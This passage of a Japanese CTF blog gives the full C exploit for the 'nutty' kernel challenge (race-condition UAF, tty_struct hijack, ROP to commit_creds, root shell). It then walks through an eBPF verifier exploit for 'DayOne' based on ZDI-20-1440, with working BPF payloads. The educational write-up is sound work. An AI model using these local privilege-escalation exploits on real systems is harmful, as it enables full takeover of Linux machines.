これで/dev/ptymxに対してioctlすると、まず中程(黄色)のleaveするgadgetに飛ぶ(opsを変えても何も起こらなかったのは何故???)。そこでleaveをするとRSPがこのtty_structの先頭を指すようになる(厳密にはmagicの次)。但し、このtty_structにはioctl時に破損していてはいけないポインタが入っているっぽいため、これは残しておく必要がある。kROP時にはこれが邪魔になるため、これをpoppop gadgetで取り除く。また、一番最初に使ったleaveへのgadgetも、これが残っていると永遠にROPがループしてしまうため、pop gadgetによって取り除く。あとはcc(pkc(0))した後でswapgs_restore_and_return_to_user+iretqして終わり。
【追記20210222】
今回これがremoteで動かなかった原因は未だにはっきりとしていないが、raceの成功を確認してからtty_structを改ざんするまでの間にcontext switchが入ってしまったことが原因の一つとして考えられる。モジュール内のユーザランドからデータの取得する処理にかける時間を増やすため、appendの際にくそでかバッファをコピーさせるという緩和策が考えられる。(参考: https://twitter.com/pwnyaa/status/1363656594764931075?s=20)
7: remoteでrootが取れないぽよ。。。 (FAIL)
これでローカル環境においてシェルが取れたが、リモート環境においてどうしてもシェルが取れなかった。多分、ローカルで動いているということは、ちょっと調整をするだけで取れるような気もするが、ローカルで動かすまでにかなり精神を摩耗させてしまったためremoteでシェルを取ることは叶わなかった。悲しいね。。。
(もっと悲しいのは、その原因がしょうもないtypoだったって分かったときだね。。。 )
8: exploit
ローカルでは 3回に1回くらいの確率 でrootが取れる。但し、remoteでは取れなかった。remoteとlocalの違いと言えば、最初にプログラムをsend/decompressするかくらいなため、そこになんか重要な違いでもあったのかなぁ。多分初期のheap状態とかだと思うんですが、如何せんSLOBよく知らんし、調べる気力もCTF中は失われてしまった。。。
remoteでも70%くらいの確率でroot取れます。
#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> // commands #define DEV_PATH "/dev/nutty" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { puts("[!!!] REACHED NIRUGIRI"); int ruid, euid, suid; getresuid(&ruid, &euid, &suid); //if(euid != 0) // errExit("[ERROR] FAIL"); system("/bin/sh"); //char *argv[] = {"/bin/sh",NULL}; //char *envp[] = {NULL}; //execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) /** nutty **/ // commands #define NUT_CREATE 0x13371 #define NUT_DELETE 0x13372 #define NUT_SHOW 0x13373 #define NUT_APPEND 0x13374 // type struct req { int idx; int size; char* contents; int content_length; char* show_buffer; }; // globals int nutfd; char buf[0x400]; // general shared buf between threads in userland ulong kernbase; uint second_size = 0x2e0; // second nut size ulong *chain = 0; // ROP chain int leaked = -1; uint count = 0; // just counters ulong total_try = 0; ulong delete_count = 0; ulong append_count = 0; uint target_idx = 0; ulong current_cred; // wrappers int _create(int fd, uint size, uint csize, char *data){ //printf("[+] create: %lx, %lx, %p\n", size, csize, data); assert(fd > 0); assert(0<=size && size<0x400); assert(csize > 0); assert(count < 10); struct req myreq = { .size = size, .content_length = csize, .contents = data }; return ioctl(fd, NUT_CREATE, &myreq); } int _show(int fd, uint idx, char *buf){ //printf("[+] show: %lx, %p\n", idx, buf); assert(fd > 0); struct req myreq ={ .idx = idx, .show_buffer = buf }; return ioctl(fd, NUT_SHOW, &myreq); } int _delete(int fd, uint idx){ //printf("[+] delete: %x\n", idx); assert(fd > 0); struct req myreq = { .idx = idx, }; return ioctl(fd, NUT_DELETE, &myreq); } int _append(int fd, uint idx, uint size, uint csize, char *data){ //printf("[+] append: %x, %x %x, %p\n", idx, size, csize, data); assert(fd > 0); assert(0<=size && size<0x400); assert(csize > 0); struct req myreq = { .size = size, .content_length = csize, .contents = data, .idx = idx }; return ioctl(fd, NUT_APPEND, &myreq); } /** (END nutty) **/ // thread handlers static void* shower(void *arg){ char rbuf[0x200]; memset(rbuf, 0, 0x200); int result; int tmpfd; ulong shower_counter = 0; while(leaked == -1){ // alloc seq_operations in case kUAF is realized tmpfd = open("/proc/self/stat", O_RDONLY); result = _show(nutfd, 0, rbuf); if(result < 0){ // not existance close(tmpfd); continue; } // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there if(((ulong*)rbuf)[0] != 0x4141414141414141){ leaked = 1; puts("[!] LEAKED!"); for(int ix=0; ix!=4;++ix){ printf("[!] 0x%lx\n", ((ulong*)rbuf)[ix]); } break; } // kfree seq_operations (if you forget, it leads to out of memory and system crash) close(tmpfd); if(shower_counter % 0x1000 == 0){ printf("[-] shower: 0x%lx, 0x%lx\n", shower_counter, ((ulong*)rbuf)[0]); } ++shower_counter; } puts("[+] shower returning..."); return (void*)((ulong*)rbuf)[0]; } static void* appender(void *arg){ int result = 0; char wbuf[0x200]; memset(wbuf, 'A', 0x200); while(leaked == -1){ result = _append(nutfd, target_idx, 0x0, 0x1, wbuf); if(result >= 0){ ++append_count; if(append_count % 0x100 == 0) printf("[-] append: 0x%lx\n", append_count); } } puts("[+] appender returning..."); } static void* writer(void *arg){ char rbuf[0x400]; int result; int tmpfd; ulong writer_counter = 0; while(leaked == -1){ // alloc tty_struct in case kUAF is realized tmpfd = open("/dev/ptmx", O_RDWR | O_NOCTTY); result = _show(nutfd, target_idx, rbuf); if(result < 0){ // idx0が存在しなy close(tmpfd); continue; } // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there if(((ulong*)rbuf)[0] != 0x4242424242424242){ leaked = 1; // do my businness first _delete(nutfd, target_idx); // gen chain chain = (ulong*)((ulong)rbuf + 8); *chain++ = kernbase + 0x14ED59; // pop rdi, pop rsi // MUST two pops to remove necessary pointers in tty_struct *chain++ = ((ulong*)rbuf)[2]; // this musn't be collappsed *chain++ = ((ulong*)rbuf)[7] & ~0xFFFUL; // this musn't be collappsed *chain++ = kernbase + 0x001BDD; // 0xffffffff81001bdd: pop rdi ; ret ; (6917 found) *chain++ = 0; *chain++ = kernbase + 0x08C3C0; // prepare_kernel_cred *chain++ = kernbase + 0x0557B5; // pop rcx *chain++ = 0; *chain++ = kernbase + 0xA2474B; // mov rdi, rax, rep movsq *chain++ = kernbase + 0x08C190; // commit_creds *chain++ = kernbase + 0x0557b5; // pop rcx *chain++ = kernbase + 0x00CF31; // [starter] leave *chain++ = kernbase + 0xc00e06; // swapgs 0xffffffff81c00e26 mov rdi,cr3 (swapgs_restore_regs_and_return_to_usermode) *chain++ = 0xEEEEEEEEEEEEEEEE // dummy *chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq *chain++ = &NIRUGIRI; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; assert(setxattr("/home/user/exploit", "NIRUGIRI", rbuf, second_size, XATTR_CREATE)); ioctl(tmpfd, 0, 0x13371337); assert(tmpfd > 0); return; // unreacable } close(tmpfd); if(writer_counter % 0x1000 == 0){ printf("[-] writer: 0x%lx, 0x%lx\n", writer_counter, ((ulong*)rbuf)[0]); } ++writer_counter; } puts("[+] writer returning..."); return 0; } struct _msgbuf{ long mtype; char mtext[0x30]; }; struct _msgbuf2e0{ long mtype; char mtext[0x2e0]; }; int main(int argc, char *argv[]) { pthread_t creater_thr, deleter_thr, shower_thr, appender_thr, cad_thr, cder_thr, writer_thr; char rbuf[0x400]; printf("[+] NIRUGIRI @ %p\n", &NIRUGIRI); memset(rbuf, 0, 0x200); memset(buf, 'A', 0x200); nutfd = open(DEV_PATH, O_RDWR); assert(nutfd > 0); int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if(qid == -1) errExit("msgget"); struct _msgbuf msgbuf = {.mtype = 1}; struct _msgbuf2e0 msgbuf2e0 = {.mtype = 2}; KMALLOC(qid, msgbuf2e0, 0x5); // leak kernbase _create(nutfd, 0x20, 0x20, buf); int appender_fd = pthread_create(&appender_thr, NULL, appender , 0); if(appender_fd > 0) errExit("appender_fd"); int shower_fd = pthread_create(&shower_thr, NULL, shower, 0); if(shower_fd > 0) errExit("shower_fd"); void *ret_shower; pthread_join(appender_thr, 0); pthread_join(shower_thr, &ret_shower); const ulong single_start = (ulong)ret_shower; kernbase = single_start - 0x1FA9E0; printf("[!] kernbase: 0x%lx\n", kernbase); // until here, there is NO corruption // leaked = -1; target_idx = 1; memset(buf, 'B', 0x200); for(int ix=1; ix!=0x30; ++ix){ ((ulong*)buf)[ix] = 0xdead00000 + ix*0x1000; } printf("[+] starting point: 0x%lx\n", kernbase + 0x00CF31); ((ulong*)buf)[0x60/8] = kernbase + 0x00CF31; _create(nutfd, second_size, second_size, buf); _create(nutfd, 0x2e0, 0x2e0, buf); save_state(); appender_fd = pthread_create(&appender_thr, NULL, appender , 0); if(appender_fd > 0) errExit("appender_fd"); int writer_fd = pthread_create(&writer_thr, NULL, writer, 0); if(writer_fd > 0) errExit("writer_fd"); pthread_join(appender_thr, 0); pthread_join(writer_thr, 0); NIRUGIRI(); // unreachable return 0; }
9: アウトロ
最近kernel問をちょこちょこ解いていたから、ちゃんとCTF開催期間中にremoteでrootを取りたかった。
ちゃんと寝たあとに、 復習してちゃんと動くexploitを書き直す 。
おやすみなさい。。。
【追記20210222】
書きました。setxattrの第一引数を/tmp/exploitから/home/user/exploitにしただけです。悲しいね。人生って、こういうものだよ。
【追記終わり】
10: 参考
1: ニルギリ
続く...
【pwn 50.0】DayOne - AIS3 EOF CTF 2020 Finals (kernel exploit)
eBPF / verifier bug / kernel exploit / commit_creds(&init_cred) / without bpf_map.btf
- 1: イントロ
- 2: static
- 3: vuln
- 4: leak kernbase
- 5: AAR via bpf_map_get_info_by_id() [FAIL]
- 6: forge ops and commit_creds(&init_cred) directly
- 7: exploit
- 8: アウトロ
- 9: 参考
1: イントロ
いつぞや開催された AIS3 EOF CTF 2020 Finals (全く知らないCTF...)。そのpwn問題である Day One を解いていく。先に言うと本問題は去年公開されたLinuxKernelのeBPF verifierのバグを題材にした問題であり、元ネタはZDIから公開されている。オリジナルのauthorはTWの人で、問題のauthorはHexRabbitさん。
kernel強化月間nowです。何か解くべき問題があったら教えてください。
2: static
basic
/ $ cat /proc/version Linux version 4.9.249 (root@kernel-builder) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) ) #8 SMP Mon1 / $ cat /proc/sys/net/core/bpf_jit_enable 1 qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio.gz \ -append "console=ttyS0 oops=panic panic=-1 kaslr quiet" \ -monitor /dev/null \ -nographic \ -cpu qemu64,+smep,+smap \ -m 256M \ -virtfs local,path=$SHARED_DIR,mount_tag=shared,security_model=passthrough,readonly
デバッグ用なのか、こちらで指定するディレクトリをvirtfsでマウントしてくれる(今回は関係ない)。
SMEP有効・SMAP有効・KAISER有効・oops->panic。
patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c index 335c002..08dca71 100644 --- a/kernel/bpf/verifier.c +++ b/kernel/bpf/verifier.c @@ -352,7 +352,7 @@ static void print_bpf_insn(const struct bpf_verifier_env *env, u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm; bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD; - if (map_ptr && !env->allow_ptr_leaks) + if (map_ptr && !capable(CAP_SYS_ADMIN)) imm = 0; verbose("(%02x) r%d = 0x%llx\n", insn->code, @@ -3627,7 +3627,7 @@ int bpf_check(struct bpf_prog **prog, union bpf_attr *attr) if (ret < 0) goto skip_full_check; - env->allow_ptr_leaks = capable(CAP_SYS_ADMIN); + env->allow_ptr_leaks = true; ret = do_check(env); @@ -3731,7 +3731,7 @@ int bpf_analyzer(struct bpf_prog *prog, const struct bpf_ext_analyzer_ops *ops, if (ret < 0) goto skip_full_check; - env->allow_ptr_leaks = capable(CAP_SYS_ADMIN); + env->allow_ptr_leaks = true; ret = do_check(env);
うーむ、なんというかZDI-20-1440でCAP_SYS_ADMIN
がないとできないこと()を無理やり修正してる。若干予定調和感が否めないな。
3: vuln
ZDI-20-1440
verifierのregister rangeの更新ミス。本問で利用しているkernelが上記からも分かるとおり、 4.9.249 であり、これはこのバグの影響を受けている数少ないバージョンの一つである。以下のようにadjust_reg_min_max_vals()
においてBPF_RSH
演算の際にdst_reg
の値の更新をミスっている。まんまZDI-20-1440のままである。
case BPF_RSH: /* RSH by a negative number is undefined, and the BPF_RSH is an * unsigned shift, so make the appropriate casts. */ if (min_val < 0 || dst_reg->min_value < 0) dst_reg->min_value = BPF_REGISTER_MIN_RANGE; else dst_reg->min_value = (u64)(dst_reg->min_value) >> min_val; if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE) dst_reg->max_value >>= max_val; break;
patchの意味
そもそもZDI-20-1440がLPEまで繋がらなかったのは、 mapを指すポインタに対する加法を行うのにCAP_SYS_ADMIN が必要だったからである。BPF_ALU64(BPF_ADD)
を行う際には、do_check()
において以下のようにcheck_alu_op()
が呼び出され、それが加算であり、且つdstレジスタの中身がPTR_TO_MAP_VALUE
又はPTR_TO_MAP_VALUE_ADJ
でない場合には、レジスタを完全に unknown でマークしてしまう([S64_MIN,S64_MAX]
にされる)。
if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; } else if (class == BPF_LDX) {
if (env->allow_ptr_leaks && BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD && (dst_reg->type == PTR_TO_MAP_VALUE || dst_reg->type == PTR_TO_MAP_VALUE_ADJ)) dst_reg->type = PTR_TO_MAP_VALUE_ADJ; else mark_reg_unknown_value(regs, insn->dst_reg); }
それではこのenv->allow_ptr_leaks
がいつセットされるかと言うと、bpf_check()
でdo_check()
を呼び出す直前にCAP_SYS_ADMIN
を持っているかどうかで判断している。
env->allow_ptr_leaks = capable(CAP_SYS_ADMIN); ret = do_check(env);
即ち、CAP_SYS_ADMIN
がないとallow_ptr_leaks
がtrue
にならず、したがってmapに対する加算が全てunknownでマークされてしまうため、mapに対するOOBの攻撃ができなくなってしまうというわけである。
今回のパッチは、2つ目と3つ目でこの制限を取り払いallow_ptr_leaks
を常にtrue
にしている(1つ目はlog表示のことなので関係ない)。
最新のkernelでは
最初にZDIの該当レポートを読んだ時、mapポインタに対する加算がCAP_SYS_ADMIN
がないとダメだということにちょっと驚いた。というのも、TWCTFのeepbfをやったときには、この権限がない状態でmapを操作してAAWに持っていったからだ。というわけで新しめのkernelを見てみると、check_alu_op()
において該当の処理が消えていた。すなわち、mapポインタに対する加法はそれがmapの正答なメモリレンジ内にある限りnon-adminに対しても許容されるようになっていた(勿論レンジのチェックはcheck_map_access()
において行われる)。
というか、pointer leakが任意に可能じゃん...
というか、allow_ptr_leaks
がtrue
になっているため、任意にポインタをリークすることができる。例えば、以下のようなeBPFプログラムで(rootでなくても)簡単にmapのアドレスがleakできる。
BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8)
/ $ ./mnt/exploit [80] 0xffff88000e300a90 [88] 0xffff88000e300a90 [96] 0xffff88000e300a90 [104] 0xffff88000e300a90 [112] 0xffff88000e300a90 [120] 0xffff88000e300a90 [128] 0xffff88000e300a90 [136] 0xffff88000e300a90
うーん、お題のために制限をゆるくしすぎてる気がするなぁ。。。
4: leak kernbase
0に見える1をつくる
こっからは作業ゲーです。後半は意外とそんなことなくて勉強になった。
まずは以下のBPFコードでverifierからは0に見えるような1をつくる。
/* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0] BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] /* get cmap[1] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1) /* fix r6/r7 range */ BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), // exploit r6 range BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1) BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), // r6 *= N
但し、control_map
はサイズ8、要素数10のARRAYである。[0]
には常に1を入れ、[1]
には常に0を入れておく。前半はただcontrol_map
から0と1を取得しているだけである。fix r6/r7 range
と書いてあるところでバグを利用して0に見える1を作っている。ジャンプ命令が多いのは、R6/R7の上限と下限をそれぞれ1,0にするためである。最後に、BPF_NEG
にしているのは、leakの段階ではleakしたいものが負の方向にあるからである。最後に 定数のN をかけてOOB(R)を達成している。尚、このNをmapから取ってきたような値にすると、MULの時にverifierがdstをunknownにマークしてしまうため、プログラムをロードする度に定数値をNに入れて毎回動的にロードしている(前回eBPF問題を解いた時はNをmapから取得した値にして何度もverifierに怒られた...)。
実際にlog表示を見てみると、以下のようにR6は0と認識されていることが分かる。
from 28 to 31: R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0 R8=map_valup 31: (75) if r7 s>= 0x2 goto pc+1 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0,max_value=1 R8=map_value(p 32: (05) goto pc+2 35: (7f) r6 >>= r7 36: (87) r6 neg 0 37: (27) r6 *= 136 38: (0f) r9 += r6 39: (79) r3 = *(u64 *)(r9 +0) R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=0 R7=inv,min_value=0,max_value=1 R8=map_value(p 40: (7b) *(u64 *)(r8 +0) = r3
leak from bpf_map.ops
今回はmap typeとしてARRAYを選択しているため、struct bpf_array
とstruct bpf_map
が使われる。構造体はそれぞれ以下のとおり。
この内、bpf_map.ops
は、kernel/bpf/arraymap.c
で定義されるようにarray_ops
が入っている。これをleakすることでkernbaseをleakしたことになる。
厳密にmapからops
までのオフセットを計算するのは面倒くさいため適当に検討をつけてみてみると、以下のようになる。(eBPFには制限の一つとしてロードできるプログラム数に上限があるため注意)
int N=0x80; for(int ix=N/8; ix!=N/8+8; ++ix){ printf("[%d] 0x%lx\n", ix*0x8, read_rel(ix*0x8)); } / # ./mnt/exploit [128] 0xa00000008 [136] 0x400000002 [144] 0xffffffff81a12100 <-- こいつ [152] 0x0 [160] 0x0 [168] 0x0 [176] 0x0 [184] 0x0
5: AAR via bpf_map_get_info_by_id() [FAIL]
以前解いたeebpfでは、bpf_map.btf
を書き換えてbpf_map_get_info_by_id()
を呼び出すことでAARを実現できた。だが上のbpf_map
構造体を見て分かるとおり、 bpf_map.bfpというメンバは存在していない 。kernelが古いからね...。というわけで、この方法によるAARは諦める。
6: forge ops and commit_creds(&init_cred) directly
本問では、上述したようにmap自体のアドレスを容易にleakすることができる。また、bpf_map
の全てを自由に書き換えることができる。よって、mapの中にfake function tableを用意しておいて、bpf_map.ops
をこれに向ければ任意の関数を実行させることができる。取り敢えず、以下のようにするとRIPが取れる。
const ulong fakeops_addr = controlmap_addr + 0x10; int N = 0x90; struct bpf_insn reader_insns[] = { /* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0] BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0] /* get cmap[1] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1) /* fix r6/r7 range */ BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1 BPF_JMP_IMM(BPF_JA, 0, 0, 2), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), // exploit r6 range BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1) BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1 BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), // r7 = r6 // overwrite ops into forged ops BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6), // r8 += r6 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0), // Go Home BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int evilwriter= create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns)); if(evilwriter < 0){ errExit("reader not initialized"); } // setup fake table for(int ix=0; ix!=7; ++ix){ array_update(control_map, ix+2, 0xcafebabedeadbeef); } array_update(control_map, 0, 1); array_update(control_map, 1, 0); trigger_proc(evilwriter); const ulong tmp = get_ulong(control_map, 0);
ここでOopsが起きた原因は、用意したfaketableの+0x20にアクセスし、不正なアドレス0xcafebabedeadbeefにアクセスしようとしたからである。ジャンプテーブルの+0x20というのはmap_lookup_elem()
である。
さて、このようにRIPを取ることはできるが、問題はもとの関数テーブルの全ての関数の第一引数がstruct bpf_map *map
であるということである。つまり、第一引数は任意に操作することができない。よって、関数の中でいい感じに第二引数以降を利用していい感じの処理をしてくれる関数があると嬉しい。その観点でkernel/bpf/arraymap.c
を探すと、fd_array_map_delete_elem()
が見つかる。これは、perf_event_array_ops
とかprog_array_ops
とかのメンバである。(尚、map_array_ops
の該当メンバであるarray_map_delete_elem()
は-EINVAL
を返すだけのニート関数である。お前なんて関数やめてインラインになってしまえばいい)。
static int fd_array_map_delete_elem(struct bpf_map *map, void *key) { struct bpf_array *array = container_of(map, struct bpf_array, map); void *old_ptr; u32 index = *(u32 *)key; if (index >= array->map.max_entries) return -E2BIG; old_ptr = xchg(array->ptrs + index, NULL); if (old_ptr) { map->ops->map_fd_put_ptr(old_ptr); return 0; } else { return -ENOENT; } }
xchg()
は、第一引数の指すポインタの指す先に第二引数の値を入れて、古い値を返す関数である。そしてその先でmap->ops->map_fd_put_ptr(old_ptr)
を呼んでくれる。つまり、array->ptrs
の指す先に&init_cred
を入れておいて、map->ops->map_fd_put_ptr
をcommit_creds
に書き換えればcommit_creds(&init_cred)
を直接呼んだことになる。やったね!
一つ注意として、execve()
でシェルを呼んでしまうと、socketが解放されてその際にmapの解放が起きてしまう。テーブルを書き換えているためその時にOopsが起きて死んでしまう。よってシェルはsystem("/bin/sh")
で呼ぶ。
7: exploit
